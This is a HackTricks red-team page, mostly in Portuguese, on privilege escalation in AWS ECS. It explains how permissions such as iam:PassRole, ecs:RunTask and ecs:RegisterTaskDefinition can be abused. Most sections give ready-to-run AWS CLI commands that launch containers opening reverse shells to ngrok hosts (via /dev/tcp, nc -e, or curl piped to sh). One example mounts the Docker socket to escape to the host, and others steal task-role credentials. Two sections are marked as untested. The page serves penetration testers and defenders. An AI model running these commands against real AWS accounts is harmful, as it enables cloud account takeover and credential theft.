AWS - ECS Privesc

Reading time: 11 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

ECS

Mais info sobre ECS em:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Um atacante que abusa das permissões iam:PassRole, ecs:RegisterTaskDefinition e ecs:RunTask no ECS pode gerar uma nova task definition com um container malicioso que rouba as credenciais de metadata e executá-la.

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Impacto Potencial: Direct privesc to a different ECS role.

iam:PassRole,ecs:RunTask

Um atacante que tem permissões iam:PassRole e ecs:RunTask pode iniciar uma nova task do ECS com execution role, task role e o command do container modificados. O comando CLI ecs run-task contém a flag --overrides que permite alterar em tempo de execução os valores executionRoleArn, taskRoleArn e o command do container sem tocar na task definition.

As IAM roles especificadas em taskRoleArn e executionRoleArn devem confiar/permitir ser assumidas por ecs-tasks.amazonaws.com na sua trust policy.

Além disso, o atacante precisa saber:

  • Nome do cluster ECS
  • Sub-rede da VPC
  • Grupo de segurança (Se nenhum grupo de segurança for especificado, o padrão será usado)
  • Nome e revisão da Task Definition
  • Nome do Container
bash
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

No trecho de código acima um atacante sobrescreve apenas o valor de taskRoleArn. No entanto, o atacante precisa da permissão iam:PassRole sobre o taskRoleArn especificado no comando e sobre o executionRoleArn especificado na definição da task para que o ataque aconteça.

Se a IAM role que o atacante pode passar tiver privilégios suficientes para fazer pull da imagem no ECR e iniciar a ECS task (ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer,ecr:BatchGetImage,ecr:GetAuthorizationToken) então o atacante pode especificar a mesma IAM role para ambos executionRoleArn e taskRoleArn no comando ecs run-task.

sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'

Impacto Potencial: Privesc direto para qualquer ECS task role.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Assim como no exemplo anterior, um atacante que abusa das permissões iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask no ECS pode gerar uma nova definição de tarefa (task definition) com um contêiner malicioso que rouba as credenciais de metadados e executá-la.
No entanto, neste caso, é necessário que exista uma instância de container para executar a definição de tarefa maliciosa.

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potential Impact: Privesc direto para qualquer ECS role.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Assim como no exemplo anterior, um atacante que abusa das permissões iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService ou ecs:CreateService no ECS pode gerar uma nova task definition com um container malicioso que rouba as credenciais de metadados e executá-la criando um novo service com pelo menos 1 task em execução.

bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Impacto Potencial: Privesc direto para qualquer role do ECS.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

Na verdade, apenas com essas permissões é possível usar overrides para executar comandos arbitrários em um container assumindo uma role arbitrária, com algo como:

bash
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Impacto Potencial: Privesc direto para qualquer ECS role.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Este cenário é como os anteriores mas sem a permissão iam:PassRole.
Ainda é interessante porque, se você conseguir executar um container arbitrário, mesmo sem role, você poderia run a privileged container to escape para o nó e steal the EC2 IAM role e os the other ECS containers roles que estão rodando no nó.
Você poderia até force other tasks to run inside the EC2 instance que você compromete para roubar suas credenciais (como discutido na Privesc to node section).

warning

Este ataque só é possível se o ECS cluster estiver usando EC2 instâncias e não Fargate.

bash
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Um atacante com os ecs:ExecuteCommand, ecs:DescribeTasks pode executar comandos dentro de um container em execução e exfiltrar a IAM role anexada a ele (você precisa das permissões de describe porque é necessário executar aws ecs execute-command).\
No entanto, para fazer isso, a instância do container precisa estar executando o ExecuteCommand agent (o que por padrão não acontece).

Portanto, o atacante pode tentar:

  • Tentar executar um comando em cada container em execução
bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • Se ele tiver ecs:RunTask, execute uma task com aws ecs run-task --enable-execute-command [...]
  • Se ele tiver ecs:StartTask, inicie uma task com aws ecs start-task --enable-execute-command [...]
  • Se ele tiver ecs:CreateService, crie um service com aws ecs create-service --enable-execute-command [...]
  • Se ele tiver ecs:UpdateService, atualize um service com aws ecs update-service --enable-execute-command [...]

Você pode encontrar exemplos dessas opções nas seções anteriores de ECS privesc.

Impacto Potencial: Privesc para um role diferente anexado aos contêineres.

ssm:StartSession

Veja na página ssm privesc como você pode abusar desta permissão para privesc para ECS:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Veja na página ec2 privesc como você pode abusar dessas permissões para privesc para ECS:

AWS - EC2 Privesc

ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole

Um atacante com essas permissões poderia potencialmente registrar uma instância EC2 em um cluster ECS e executar tasks nela. Isso poderia permitir que o atacante execute código arbitrário dentro do contexto das tasks do ECS.

  • TODO: É possível registrar uma instância de uma conta AWS diferente para que as tasks sejam executadas em máquinas controladas pelo atacante??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

note

TODO: Testar isto

Um atacante com as permissões ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, e ecs:DescribeTaskSets pode criar um task set malicioso para um service ECS existente e atualizar o primary task set. Isso permite que o atacante execute código arbitrário dentro do service.

bash
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Impacto Potencial: Executar código arbitrário no serviço afetado, potencialmente impactando sua funcionalidade ou exfiltrando dados sensíveis.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks